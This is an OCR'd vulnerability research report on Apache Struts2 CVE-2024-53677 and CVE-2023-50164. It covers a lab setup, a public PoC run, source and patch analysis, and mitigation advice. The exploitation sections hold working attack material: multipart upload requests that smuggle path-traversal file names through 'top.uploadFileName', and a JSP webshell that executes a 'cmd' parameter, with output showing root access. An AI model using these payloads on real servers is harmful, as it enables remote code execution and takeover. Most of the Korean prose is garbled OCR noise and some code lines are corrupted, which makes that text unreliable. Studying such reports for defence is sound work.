Research & Technique

Struts2 File Upload T2 (CVE-2024-53677)
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13 2. CVE-2024-53677 &2 AlL2|2

@ SAXE struts2E AHE S Fofgh @ H|o|X|off M2

@ SHXE CVE-2024-53677 FHABS Soff 48 It P=E

® S4xs 9498 s S¢ ¥4 38 Y

@ L[sHRte] Mo ofy ZE HX|

® LfSHAte] HOEHHO[A LIRSl T2 Y& &
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CVE-2024-53677 Of F <ot 2ZEQ0f HE2 G52t ZCf.

S/W 7 o BT
Struts 2.0.0 — Struts 2.3.37

HI
4%
J
I

Apache Struts2 Struts 2.5.0 — Struts 2.5.33
Struts 6.0.0. — Struts 6.3.0.2

W H2E 2F 18 BH

HAE sld2 1=l CVE-2024-53677 2| SZF 1pHES AtmECt

0| e
3.0.2
TSt Struts 6.3.0
(192.168.0.5)
Kali Linux
2%}

(192.168.216.129)

B 3N HAE

Step 1. &4 74

H|sfxt pC Off Fefet Apache Struts2 =71 O|OIX|E &3l &S F-ISCE CVE-2024-53677
FHd H2E FdS flet =7 o|0X] 8 FfH HAE @2 Or2f EQSTLab GitHub
Repository Of A =tQlgh %= QULCH.

*URL: https://github.com/EQSTLab/CVE-2024-53677

TSRt PC O Al CH2 HTMEZ GitHub Repository & clone $HC},

> git clone https://github.com/EQSTLab/CVE-2024-53677

CtE HWMEZR docker CIHMEZ| WHE O|SSHH docker O|O|X|E EE 2= AHAMBHC}
> cd docker
> docker build --ulimit nofile=122880:122880 -m 3G -t cve-2024-53677 .

> docker run -p 8080:8080 --ulimit nofile=122880:122880 -m 3G --rm -it --name cve-
2023-50164 cve-2024-53677
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PEE ZA0| FUS Apache struts2 H|O|X|7F #HE 2 &olgt = ULt

Google Hacking DB

Select a file: | Browse... | No file selected.

[UploadFile |

a3 3. F$ struts B4 1%

o
"]
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Step 2. F%4H HAE

CVE-2024-53677 FUE HAEE 28t PoC 7t M&E EQST Lab 2| GitHub Repository FA&
Ct=af ZC}

—

*URL: https://github.com/EQSTLab/CVE-2024-53677

o —1-—

SAXt PCOA git clone BEOE AtEd CVE-2024-53677 X&A0| PoC E L}

fhnmefkallfpnc

clone http / ,lThUb com/ EDJTL*D;.:'.'E— 2R24-536077
Cloning into "CWE-: :

remote: Enumerating objects:
remote: Counting objects:

remote: EuﬂprEEEing
remote: Total
Receiving ob]
tesolving delt

6/26), done.
(delta 2), pack-reused @ (from
KiB | 4.65 MiB/s, done.

1% 4. CVE-2024-53677 PoC CIR2E2LC

CHRZE 82 PoC LMY CVE-2024-53677.py 2 A@dg 4= Qo

H 34X PC oA &St
Lo|2E7} HmSHAIS| pfSense 0| A A EICE

$ python3 CVE-2024-53677.py —u [struts2 I}
[HE2Ed oY EE]

U PRE F) p [PRET TrAY] A

£ MH(https://192.168.0.5)7t =& ULk,
H0| OjAl= CHE2ah Zoh

.5/upload.action —p ../test.jsp —f test.txt

S PoC M3 HWMEZ Of2fet 20| AKX PCOA BT

H =

/home/kali/poc/CVE-2024-53677

CVE-2024-53677.py -u http:/,

02.168.0.5:8880/upload.action -p ../ /test.jsp -f test.txt

% 5. PoC A3 HUME oA

O|F MHQ| testjsp 2 ™ot Cisar 20| EE o] 2L & A

—

mjo
ig
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g
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<« C @ QO A 192.168.05

Kali Linux #5 Kali Tools = KaliDocs %, KaliForums e\ Kali NetHunter Exploit-DB Google Hacking DB OffSec

output

uid=@(root) gid=0(root) groups=@{root)

FHUE oM 2MOM= CVE-2023-50164 4 0|=, CVE-2024-53677 FLUFO0| UMsH=
o H2E FUE YUK =XHez= 2SI Step 1 OM= O|F0
= 2l CVE-2023-50164 F 21} O|of CHpt 2Ot =X|0f CHsH 7t2fd| CHELEL Step
2 0| M= CVE-2024-53677 2| ®l2|2t O] 0|83l MY HEEE $+ASt= EIK| EFIC}

o
12
10
LA

HEARSE X|OF%

Step 1. CVE-2023-50164

20239 12 ¥ ItY YPERE FAFSE CVE-2023-50164 7+ S7HFACH CVE-2023-50164 Of CHSt
AN LHE2 EQST Insight 2024 & 02 2= 0| A =Holgt £~ QICH
*URL:https://www.skshieldus.com/download/files/download.do?o_fname=EQST%20insight_Research%20Te
chnique_202402.pdf&r fname=20240220143226638.pdf

i
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Step1 OlA= CVE-2023-50164 2| CHEFAQI 2 R2[eF 0|0 CHeh =Hot Z=X|
CHECt.

1) CVE-2023-50164 &4

oY AZE QHO| S0{H HTTP 2F Li2t0|HE M2|ste HttpParameters SEHA2| get(),
remove(), contains() HAMEE LY FZEQt 2HEZ Hi20/E 0| CHDE H|WE &SICE O [
HttpParameters SefA&= HiEtO|HO| CHeE CHAZANE F&ESHCh M2tA  name='upload' 2t
name='Upload's Z&Xo| t2t0|HZE FZ5t7| WZ0] upload 2 Upload 2t= Lt2t0|E{ 7} M2
Mg ECE
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@Suppressiarnings("unchecked")
|prlic class HttpParameters impleaments Map<String, Parameter> {

private Map<5tring, Parameter> parameters;

private HttpParameters(Map<String, Parameter> parameters)
this.parameters = parameters;

@Suppresslarnings("rawtypes”)
public static Builder create(Map requestParameterMap) {
return new Builder(requestParametarMap);

33 7. HttpParameters S22

O|= Parametersinterceptor Z2{22| setParameters() HAMEO|AM TreeMap T+Z2Z2 It
H2EE M2|St=0|, Java 2 TreeMap 2 [At > ZOp8l At > OBl AFXF > o=
=ME FEotCt M2k Di2t0|H g2 2 ‘upload'?t ‘Upload' 7t SA|O| EX{TICIH, CHEXIE
AIEHSHE ‘Upload’ THEOIE| THY 488 MO SHICE

|protected void setParameters(final Object action, ValueStack stack, HttpParameters parameters) {|
HttpParameters params;
Map<String, Paramster> acceptableParameters;
if (ordered) {
params = HttpParameters.create().withComparator(getOrderedComparator()).withParent(parameters).build();
acceptableParameters = new TreaMap<»(getOrderedComparator());
} else {
params = HttpParameters.create().withParent(parameters).build(};
acceptableParameters = new TreaMap<d:»();

38! 8. setParameters() HIAE

0| 7|&0| MEE= Upload It2t0|E 72 uploadFileName Lt2t0E{0f 2fsf AHo x| 9]

MAS = QL OE =9 ./webshelljsp 2 7|E0 HHolE

S—
It2}0| E{ H=upload }2t0]E E=Upload 1}t2t0|E{ H =uploadFileName
o} H =test.jpg ot H=test.jpg oY H = /webshell jsp

o Y2 E uiatoje HEE 8ol AYIAEE =@t o2 HojF

LH”"*OE SEst= ot Y= E mt2t0|E{(uploadFileName) IIP‘""I

1%l 9. CVE-2023-50164 SXF 1}H
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2) CVE-2023-50164 IfX|
2023 3 12 & 04 L0 3748t CVE-2023-50164 F A IfX|= CtSat ZCh @M HTTP 28
o2tolge A2 A=

HAMEZL =7t oi2t0lHE FoMe A2 WA[SI=F IiX|SHCH

AEoM Hia2A 2 Glo] sEh Metd|E 7 QU

remove()

[=a]

=]

o

co oo
woooco

90

public HttpParameters appendAll(Map<String, Parameter> newParams) {
remove (newParams. keySet());
parameters.putAll (newParams);

return this;

1% 10. HttpParameters T{X| LHS

£l 1) CVE-2023-50164 =A0A AZ$ HttpParameters S22 2| get(), remove(), contains()

HAMES D2t N2l &5 ARXE F23IX| LEE  equalsignoreCase() HAMEE
F7IUCE OlMl © OlY “upload” Lb2tO|E{QF “Upload” LtEtO|El= LCHE 2=z X2|k[X]|
HEs Xt
110 137 @override
111 138 public Parameter get(Object key) {
112 - if (parameters.containsKey(key)) {
113 = return parameters.get(key);
114 & } else {
115 - return new Parameter.Empty(String.valueOf(key));
139 4+ if (key != null && contains(String.valueOf(key))) {
140 + String keyString = String.valueOf(key).tolLowerCase();
141  + for (Map.Entry<String, Parameter> entry : parameters.entrySet()) {
142+ if (entry.getKey() != null && entry.getKey().equalsIgnoreCase(keyString)) {
143+ return entry.getValue();
144 4 }
145 4 }
116 146 }
147  + return new Parameter.Empty(String.valueOf(key));
J8 11. get() X LHSH
63 73 public boolean contains(String name) {
64 = return parameters.containsKey(name);
74+ boolean found = false;
75 + String nameLowerCase = name.toLowerCase();
76+
77+ for (String key : parameters.keySet()) {
78 4+ if (key.equalsIgnoreCase(namelLowerCase)) {
79 &+ found = true;
8e 4+ break;
81 + }
82 + }
83 +
84 4 return found;
65 85 }

33 12. contains() THX| LHH
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50 52 public HttpParameters remove(Set<String> paramsToRemove) {
51 53 for (String paramName : paramsToRemove) {
52 = parameters.remove(paramName);
54 4 String paramNameLowerCase = paramName.toLowerCase();
55 + Iterator<Entry<String, Parameter>> iterator = parameters.entrySet().iterator();
56 +
57 + while (iterator.hasNext()) {
58 + Map.Entry<String, Parameter> entry = iterator.next();
59 + if (entry.getKey().equalsIgnoreCase(paramNameLowerCase)) {
68 + iterator.remove();
61 + }
62 + }
53 63 }
54 64 return this;

2 13. remove() TjX| Lf

Step 2. CVE-2024-53677

2024 4 12 @ = CH2 OiY Y2E FAMOZ CVE-2024-53677 O S7HSHCL oy HAHS
2|2 357 ME0| CVE-2023-50164 Off S5

CVE-2023-50164 FtFut= CHE ¥
UGtz FfH™o| Eligt = QICt T Interceptor £ file Upload Interceptor 7F OFLl Action File

Upload Interceptor & At&3t= %= Ff5HX| BC}.
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Struts2 & 2 AEHE 2t 43AE S &OI5HA 5t7| I3 ValueStack Ol2t= 7HES AFESICE
ValueStack 0|2t Z2MAE AAdst= ZQt AME XSS &or Sl AE JAXO[ Xtz
TEZ struts2 O A XHEHSEH OOJE| FX=CE ValueStack 2 7[2Mo=z %49 ZHZEH
ZISIEIER| =Xt oz BMSHY| 20| X2 F=7tE HIO|HE ECt e SojLfN Z= 124

d £=5 =QCh

==
m
==

Java 7|t & OfEF2|AHO|MOM= LIZI0HE =22 Uf HttpServletRequest.getParameter()

IE = HttpServletRequest.getParameterMap() 1 €2 HAMEE AtEds ODI7fHF-E 7IM=

d27b ULCH Struts2 2| BF ValueStack 2 &off ItZt0[E{0| FZotct O M m2tOjHE

Hield 3 & [ OGNL =HUAEZS &S =AM, Ol struts2 2 IFE LY
O

/core/src/main/resources/struts-defaultxml| DIFLOA HA|= SAE E5 =Qle 5 ULt

3 mtato|E HiQlE(Parameter Binding): Li2tO|EE Z{O|L} ZiAof HAZstE T
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e resources > & struts-defau

248 (interceﬁtor name="scopedModelDriven” c1ass=”ccwlcbers}mphony.xwoﬁkz.iﬁ:ercep:or.ScopedHodelDfivanInterceptor"j)
241 kinterceptor name="params" class="com.opensymphony.xwork2.interceptor.ParametersInterceptor”/>
242 <interceptor name="paramRemover" class="com.opensymphony.xwork2.interceptor.ParameterRemoverInterceptor”/>
243 <interceptor name="actionMappingParams" class="org.apache.struts2.interceptor.ActionMappingParametersInterceptor”/»
244 <interceptor name="prepare"” class="com.opensymphony.xwork2.interceptor.Preparelnterceptor”/>

a3 14. struts-default.xml W {IX|8t Parametersinterceptor S22

= — H H
struts-defaultxml W FA|ZEl  Parametersinterceptor Z2{A=  /core/src/main/java/com/

opensymphony/xwork2/interceptor/Parametersinterceptorjava &2 FEE SoflA =olg =+

QIC}. O] If ValueStack 2 Sdf Li2t0|EIS HIQIESHE HES of2fet Zich

core C a ava » co ope P ork2 erceptor J Parametersinterceptc

1L5

124 if (parameters != null) {

125 Map<String, Object> contextMap = ac.getContextMap();

126 try {

127 ReflectionContextState.setCreatinghullObjects(contextMap, true);

128 ReflectionContextState. setDenyMethodExecution(contextMap, true);

124 ReflectionContextState.setReportingConversionErrors(contextMap, true);
138

131 ValueStack stack = ac.getValueStack();

132 setParameters(action, stack, parameters);

133 } finally {

134 ReflectionContextState.setCreatinghullObjects(contextMap, false);

135 ReflectionContextState.setDenyMethodExecution(contextMap, false);

136 ReflectionContextState.setReportingConversionErrors(contextMap, false);
137 1

138 3

129 1

148 return invocation.invoke();

33 15. Parametersinterceptor {2

orZiet #2 HTTP 2¥S EWAM LieYS =QlstH 2ot F=ohA =g + AT

POST /upload.action HTTP/1.1
Host: localhost:8080
Content-Length: 314

Chrome/131.0.6778.140 Safari/537.36
Cookie: JSESSIONID=6D3768F0FE4937CB20BBBOEOF5FB6BEE
Connection: keep-alive

—————— WebKitFormBoundaryBblJIBPavxBg8cdi
Content-Disposition: form-data; name="Upload"; flename="test3.jpg"
Content-Type: image/jpeg

this_is_test_file
—————— WebKitFormBoundaryBblJIBPavxBq8cdi--

Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryBblJIBPavxBq8cdi
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko)
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size=3

"File{name="Upload'}"

"File{name="Upload'}"

"File{name="UploadFileName'}"

"File{name="UploadFileName'}"

["test3.jpg"]

"File{name="UploadContentType'}"

"File{name="UploadContentType'}"

["iamge/jpeg"]

1% 16. parameters H3 X

2) setParameters ZE{Z 23]
mt2tolge HielYE =Wote setParameters HIME LHO| M= isAcceptableParameter O A E7}
True 2 LtRIOFX| 2t Parameters Off It2t0|E{E =74t

167 protected void setParameters(final Object action, ValueStack stack, HttpParameters parameters) {
168 HttpParameters params;
169 Map<String, Parameter> acceptableParameters;
17@ if (ordered) {
71 params = HttpParameters.create().withComparator(getOrderedComparator()).withParent(parameters).build();
acceptableParameters = new TresMap<»(getOrderedComparator());
173 } else {
74 params = HttpParameters.create().withParent(parameters).build();
75 acceptableParameters = new TresMap<>();
76 1
78 for (Map.Entry<String, Parameter> entry : params.entrySet()) {
179 String parameterName = entry.getkey();
128
181 if (isAcceptableParameter(parametarName, action)) {
182 acceptableParameters.put(parameteriame, entry.getValue());
123 1
184 )

12! 17. setParameters L ZE{Z

0f7|AM S&8t= isAcceptableParameter A=+ acceptableName HAMEE S ZEHIS
St=0l, acceptableName HAME LHF0| ZEXMSt= isAccepted HIAEO CHA| ZHE2 HAF
ot2to|E O|E0| ' HK| ZASHLE.

LA

protected boolean isAcceptableParameter(String name, Object action)
ParameterNamefwars parameterMamelware = (action instanceof ParameterNamefware) ? (ParameterNamedware) action : null;
return acceptableName(name)|&& (parameteriamefware == null || parameterMameAware.acceptableParameteriams(name));
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12 18. isAcceptableParameter L ZE{Z

287 protected boolean acceptableName(String name) {

288 boolean accepted = isWithinLengthLimit(name) && !isExcluded{name) &&IisAccepted(name)ﬂ
289 if (devMode && accepted) { // notify only when in devMode

208 LOG.debug("Parameter [{}] was accepted and will be appended to action!™, name);
201 1

2932 return accepted;

293 }

18 19. acceptableName L ZE{Z

OFX|H 22 isAccepted = acceptedPatterns & SdiA YH 22 mei0jE 0|50 FRTHA]
AAFSHLE

318 protected boolean isAccepted(String parambame) {

311 IAccep:edPattevnschecke*.IsAccepted result = acceptedPatterns.isAccepted(paramiams);
312 if (result.isAccepted()) {

313 return true;

314 } else if (devMode) { // warn only when in devMode

8 20. isAccepted L EE{H
siE IE ZdAts O3t 22 E 240 Qi O|F0FE =elg = ULt

Debug (E3 Unnamed

Threads & Variables Console

"http..UNNING

< isAccepted:387, Parameter

ST H7 EHA HEHO| oOjsts WS ww+R US| 3 X 0|49 FRXRALUEE
AZfsop Bt LfERHCH M2o] LES M3 SHEXE AXs fols HEYsn
2SS HoIE 4 Ut

O I OGNL EPAS O|8diA THYS R=2otH =73 ValueStack s HOAE & UCL

OGNL EAOA [0], (1]t 22 EAAS &8 EF 9 72| ValueStack & ZEeEtd +
UCE OE S0 [0lname ETA2 AEIO] JPY QoM HIAME HABLI| HZ0| name It
St SHRIBH CfREE AIRHs BHAL isAcepted HIAME U TEHY FA EHAL
sareh = gl7| W20l o|E CiMe et molAlg L RIsiEtoF Bhot
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OlE <8l ZAHof ZF TIote top BEHAS
HIZ5A St top BHAZ2 top.name 1t name
<32 '

ol

AaxLength(Integer): void

288 4 Yok AN 0|22 S Y
o SYU U2 LEHYA =02 THIYS
= 20f

"fusr/local/tomcat/work/Catalina/localhost/ROOT/upload_a3aa7102_032a_43e3_9613_263c80608629_00000023.tmp"

O8 22.././test2.jsp 2 X’E2|El uploadFileName

3) F U™ ol
TI|Oo 1o
2| 0f A Zo| I olzc QAo i 7to T3AlS
FI0AM AHIE HiQt 20| IY FYE2ZE QHFO|A top.uploadFileName 2t 22 OGNL EHAIZ
=1 X =2 OIO|O| 74 ol 3}Af |- olHLS HI—{ O|o|- (@) O.I i=] o A
H ol Ao C= E"‘H O|O| Had AlSH | |__|—"'|_ |.
Jsp oY YEEE Sl Ao FF AMMO| 7SIt
Request Respense
Pretty  Raw  Hex [N N = | pretty Raw  Hex  Render
23 ¥iehici ¢ FornaundaryllYt (D7 102A7P Twrg. L HTTP/1.1 200 )
24| Content-Disposition: form-data; name="Upload”; filename="EQST.jpg" 3 \(l’ary: (S]eF—FetE:v‘;D:zt)Ss:{Fatca—Mndi)gei-Fet:h—Slte)Sec-Fetch-Usar
Content-Type: iamge/jpea 3 Cross-Origin-Embedder-Policy-Report-Only: require-corp
4 Cross-Origin-Opener-Policy: same-origin
7| <%@ page import="java.io.s, java.util.s, java.net.s" % 5 iEt;[D:k: JSESSi5giDTEEiB1DliBB.Z;B;EDEB?HEASESMDAEB, Path=/; HttpDnly
28| <% 6 Content-Type: tex 'ml;charset=UTF-
20 String action = request.getParameter("action"); 7 Content-Language: ko-KR
3 String output = ""; 8 Content-Length: 35
31 0 Date: Thu, 82 Jan 2025 13:21:01 GMT
32 try { 10 Keep-Alive: timeout=20
33 if ("emd”.equals(action)) { i Connection: keep-alive
34) // Execute system commands e
35 String cmd = request.getParameter("cmd”); ’3‘
EE if (emd = null) { . . -5 SEL Dad. /T
3 Process p = Runtime.getRuntime().exec (cnd); T - -jsp
38 BufferedReader reader = new BufferedReader(new InputStreamReader(p.getInputStream()));
39 String line;
40| while ((line = reader.readlLine()) != null) {
output += line + "\n";
}
/1 Return the result
response. setContentType(“text/plain”);
out.print(output);
] WebK1tFormBoundarylYtCD7J0zAZPIwrg
29| Content-Disposition: form-data; name="top.uploadFileName"
50
51f ../EQST.jsp
52 - MWebkitFormBoundaryUY£CD7J0zAZPIwrg-—

13 23. top.uploadFileName

mj2to|E{ &

)
o

O

ofm

b I} pyipsie]l

r
U
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orgfer &0 nhe g2EE HAMES  doUpload() O A = 0f
S

uploadFileName 2 ./EQSTjsp 2 MYols MHFES 2Qlg 5= QUCH

if (node.get wll) {

or().get(ognlContext, root);

node.getValue(ognlContext, root);

Console

"{usr/local/tomcat/work/Catalina/localhost/ROOT/upload_4250037f_2bf1_408c_9cac_5440ccc3becc8_00000020.tmp"

J8 24.././EQST.jsp 2 X’E2|E uploadFileName

Ct2ar 20| 24 meO0| uploads d2E HOLt ol HHE HAStH USS =Y =
AL
< c @ |localhost8080/EQST.jspfaction=cmd&cmd=id

|ui|:I=D|{rDDt]l gid=0{ root ) groups=0(root)

POST /uploads.action HTTP/1.1

Host: localhost:8080

Content-Length: 471

Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryBblJIBPavxBg8cdi
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win6é4; x64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/131.0.6778.140 Safari/537.36

Cookie: JSESSIONID=6D3768F0FE4937CB20BBBIEOF5FB6BEE

Connection: keep-alive

—————— WebKitFormBoundaryBblJIBPavxBg8cdi
Content-Disposition: form-data; name="Upload"; filename="EQST1.jpg"
Content-Type: image/jpeg

EQST insight | 14



this_is_test_file

—————— WebKitFormBoundaryBblJIBPavxBg8cdi

Content-Disposition: form-data; name="Upload"; filename="EQST2.jpg
Content-Type: image/jpeg

this_is_test_file
—————— WebKitFormBoundaryBblJIBPavxBqg8cdi
Content-Disposition: form-data; name="uploadFileName[0]"

mal.jsp
—————— WebKitFormBoundaryBblJIBPavxBqg8cdi--

A O2HR) It O|E0|0{0F & EQST1jpg 7t maljsp 2 A GEH R=E & AS =g = UCL

1 POST /uploads.action HTTRP/1.1

2 Host: localhost:2080

3 Content-Length: 471

4 Content-Type: multipart/form—data:

boundary=-——-Webl{itFormBoundaryBb| JI1BPavxBo8cdi

User-Agent: Mozilla/5.0 (Windows NT 10.0: Wing4; x64) AppleWebl(it/537.36
(KHTWL. 17ke Gecko) Chrome/131.0.6778.140 Safari/537.36

Coolcie: JSESSIONID= BD 7BEF0FE4937CB20BBBIEOFEFBEBEE

T HTTR/1.1 200

? Vary: Sec-Fetch-Dest,Sec—Fetch-Node,Sec—Fetch-Site,Sec—Fetch-User
3 Cross-0rigin-Embedder—Policy-Report-0Only: require-corp
4 Cross—0rigin-Opener-Policy: same-origin
5 Set-Cookie: JSESSIONID=255C206C6B0AAIEEOF2EE 17FIDETEFBS: Path=/"
f Content-Type: text/html;charset=UTF-&
7 Content-Language: en-US
B Content-Length: 98

9 Date: Fri, 03 Jan 2025 04:49:01 GNT
0 Kkeep-Alive: timeout=20
1
2
3
4
il
B
7
8

o

g ——- WebliitFormBoundar yBbl J|BPavxBaScdi
10] Content-Disposition: form-data: name="Upload": filename="EQST1.]jpg"
11] Content-Type: Tmage/ipeg

Connection: keep-alive

13| this_is_test_file
14| ——— Webl< i tFormBoundaryBblJ|BPavxBgScd i o=zt gy

15| Content-Disposition: form-data: name="Upload": filename="EQST2. jpg"

16| Content-Type: image/jpeg <|i>
17 mal . jsp
18| this_is_test_file \ﬁ </ 11>
19| ——— Webl< i tFormBoundaryBblJ|BPavxBaScd i
20| Content-Disposition: form—data: name="uploadFilelame[0]" 201 <11>
21 EQST2. jpg
22 mal.isp </1i>
23 ——— Webls1tFormBoundaryBb1 J1BPavxBaScdi— 21
18 26. AHHS S U HH

m i3 2ot
S FY™2 Struts2 File Upload Interceptor 2| LY YZE ZX ZTOZ Ol ULt
e 2X2 Struts2 6.4.0 0| EA|E O|FREH O O ALESHA| YRS SX|HR20 Struts2

7.00 EE &= dHE Interceptor & M AL,

*URL: https://struts.apache.org/core-developers/file-upload-interceptor

F oot HM A8 OR s Che P88 SdiM =g = AL 24 A8 2 MHOIM
A8t strutsxml T2 F=Ch O 22 254 PO E AR T2l struts2 jar TS
St 4= QIO
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https://struts.apache.org/core-developers/file-upload-interceptor

> find / -name "struts2*jar" 2> /dev/null

root@fe9lafedf9b6: /usr/local/tomcat#t find / —-name "struts2xjar" 2> /dev/null
/usr/local/tomcat/webapps/ROOT/WEB-INF/lib/struts2-core-6.3.0.2.jar

A% 27. Struts2 6.3.0.2 A2 ol

e ST struts? jar IFYS U= SHHSH META-INF =0 L MANIFESTMF LHUO|A AFE
T HES HY =Zold + Uk

Manifest-Version: 1.0

Implementation-Title: Struts 2 Core

Bunhdle-Description: Apache Struts 2

Bundle-License: https://www.apache.org/licenses/LICENSE-2.0.txt
Bundle-SymbolicName: org.apache.struts.2-core
[Implementation-Version: 6.3.0.2 |

Specification-Vendor: Apache Software Foundation
Bundle-ManifestVersion: 2

13 28. Struts2 6.3.0.2 Al =0l

Apache Struts2 OfA EO ZXZ & 640 HES Y=L HS IXMX|D 700
HEEE = 2™ A Q7] WE0 File Upload Interceptor 7t OtLl Action File Upload
Interceptor & AESH=X| BEEA| 2ol Tt QICh

*URL: https://cwiki.apache.org/confluence/display/WW/S2-067
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https://cwiki.apache.org/confluence/display/WW/S2-067

[m]

toF Ch2 b 20| fileUpload £ Interceptor 2 AMESIEE HA|Z|Of QJUCHH F

r

[Kinterceptor-ref name="fileUpload">|

a3 29. 25t File Upload Interceptor AM2

Ol& <interceptor-ref name="actionFileUpload”/> Z #Mds|iA ZX[s{jof stCt Z= F st
H{ 7 (Struts2 6.3.2 O|5hO| Ol Struts2 & Argdt= A0 7hy st HYO|X|TE Struts2
7.0.0 0 2FAOF file Upload Interceptor 7} AFA|E|RA7(0f| O] EDH S E5SHX| UL EkA
AH& B Struts2 7t F oot HAQIX| K F ot HZHO| OtL|HEZtT= file Upload

Interceptor & AFEStD U=A| =QlSt= 10| HRotot

2

njo

4 o
0
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« Wikipedia (Apache Struts2): https://en.wikipedia.org/wiki/Apache_Struts

» Wikipedia (Jakarta EE): https://en.wikipedia.org/wiki/Jakarta_EE

» Apache Struts2 S ff & 14858 (CVE-2024-53677)(S2-067):
https://y4tacker.github.io/2024/12/16/year/2024/12/Apache-

Struts2-%E6%96 %87 %E4%BB%B6%E4%B8%8A%E4A%BC%A0%EI%80%BB%HES%BEY%I1%E7 %BB%95%E8%B
F%87-CVE-2024-53677-S2-067/

« AttackerKB (CVE-2024-53677): https://attackerkb.com/topics/YfjepZ70DS/cve-2024-53677

o Struts2 MERRFIXT S8 https://developer.aliyun.com/article/330800

« File Upload Interceptor: https://struts.apache.org/core-developers/file-upload-interceptor

« Action File Upload: https://struts.apache.org/core-developers/action-file-upload

» S2-067: https://cwiki.apache.org/confluence/display/WW/S2-067
*CVE-2023-50164-ApacheStruts2-Docker:https://github.com/Trackflaw/CVE-2023-50164-Apach-eStruts2-
Docker

« cve 2024-53677 vulnerability impacting apache struts-2: https://www.cyber.gc.ca/en/alerts-
advisories/cve-2024-53677-vulnerability-impacting-apache-struts-2

« Critical security vulnerability affecting Apache Struts2 below 6.4.0.: https://www.cyber.gov.au/about-
us/view-all-content/alerts-and-advisories/critical-security-vulnerability-affecting-apache-struts2-below-6-
4-0

» WARNING: CRITICAL VULNERABILITY IN APACHE STRUTS, CVE-2024-53677 CAN LEAD TO RCE, PATCH
IMMEDIATELY!: https://cert.be/nl/advisory/warning-critical-vulnerability-apache-struts-cve-2024-53677-

can-lead-rce-patch-immediately
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